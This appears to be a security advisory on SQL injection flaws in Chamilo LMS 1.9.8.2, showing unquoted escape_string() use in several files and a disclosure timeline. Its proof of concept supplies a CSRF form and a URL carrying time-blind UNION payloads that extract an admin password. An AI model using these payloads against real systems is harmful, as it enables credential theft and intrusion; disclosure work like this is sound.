Database::escape_string()
function is used to sanitize data.
File: chamilo-1.9.8.2\main\inc\lib\database.lib.php
public static function escape_string($string, $connection = null) {
return get_magic_quotes_gpc()
? (self::use_default_connection($connection)
? mysql_real_escape_string(stripslashes($string))
: mysql_real_escape_string(stripslashes($string), $connection))
: (self::use_default_connection($connection)
? mysql_real_escape_string($string)
: mysql_real_escape_string($string, $connection));
}
It will prevent SQL Injection only if we enqoute function output using "function_output"
or 'function_output'
.
But there is few places where this function is used without ""
:
File: chamilo-1.9.8.2\main\reservation\m_category.php
case 'delete' :
$result = Rsys :: delete_category($_GET['id']);
File: chamilo-1.9.8.2\main\reservation\rsys.php
function delete_category($id) {
$sql = "SELECT id FROM ".Rsys :: getTable("item")." WHERE category_id=".Database::escape_string($id)."";
$result = Database::query($sql);
if (Database::num_rows($result) == 0) {
$sql2 = "DELETE FROM ".Rsys :: getTable("category")." WHERE id =".Database::escape_string($id)."";
Database::query($sql2);
return 0;
} else {
return Database::num_rows($result);
}
}
File: chamilo-1.9.8.2\main\forum\forumfunction.inc.php
elseif ($content == 'forum') {
$table = $table_forums;
$sort_column = 'forum_order';
$id_column = 'forum_id';
$sort_column = 'forum_order';
// We also need the forum_category of this forum.
$sql = "SELECT forum_category FROM $table_forums WHERE c_id = $course_id AND forum_id=".Database::escape_string($id);
$result = Database::query($sql);
$row = Database::fetch_array($result);
$forum_category = $row['forum_category'];
}
Similar issue exists in few other places but cannot be exploit, for example table session_rel_class
doesn't exists.
File: chamilo-1.9.8.2\main\admin\resume_session.php
if(!empty($_GET['class'])){
Database::query("DELETE FROM $tbl_session_rel_class WHERE session_id='$id_session' AND class_id=".Database::escape_string($_GET['class']));
$nbr_affected_rows=Database::affected_rows();
Database::query("UPDATE $tbl_session SET nbr_classes=nbr_classes-$nbr_affected_rows WHERE id='$id_session'");
}
$scormcontopen
is not defined.
File: chamilo-1.9.8.2\main\tracking\userLog.php
if ($ar['id']==$scormcontopen) { //have to list the students here
$contentId=$ar['id'];
$sql3 = "SELECT iv.status, iv.score, i.title, iv.total_time " .
"FROM $tbl_learnpath_item i " .
"INNER JOIN $tbl_learnpath_item_view iv ON i.id=iv.lp_item_id " .
"INNER JOIN $tbl_learnpath_view v ON iv.lp_view_id=v.id " .
"WHERE (v.user_id=".Database::escape_string($uInfo)." and v.lp_id=$contentId) ORDER BY v.id, i.id";
$result3=Database::query($sql3);
Proof of Concept
For this exploit you need teacher
privilege (api_is_allowed_to_edit(false, true)
) and at least one forum category must exist (get_forum_categories()
).
<form method="post" action="http://chamilo-url/main/forum/?action=move&content=forum&SubmitForumCategory=1&direction=1&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)">
<input type="hidden" name="SubmitForumCategory" value="1">
<input type="submit" value="Hack!">
</form>
For second exploit you need administrator
privilege (there is no CSRF protection):
http://chamilo-url/main/reservation/m_category.php?action=delete&id=0 UNION (SELECT IF(substr(password,1,1) = CHAR(100), SLEEP(5), 0) FROM user WHERE user_id = 1)
Those SQL will check if first password character user ID=1 is “d”.
Timeline
- 06-12-2014: Discovered
- 06-12-2014: Vendor notified
- 25-01-2015: Version 1.9.10 released, issue resolved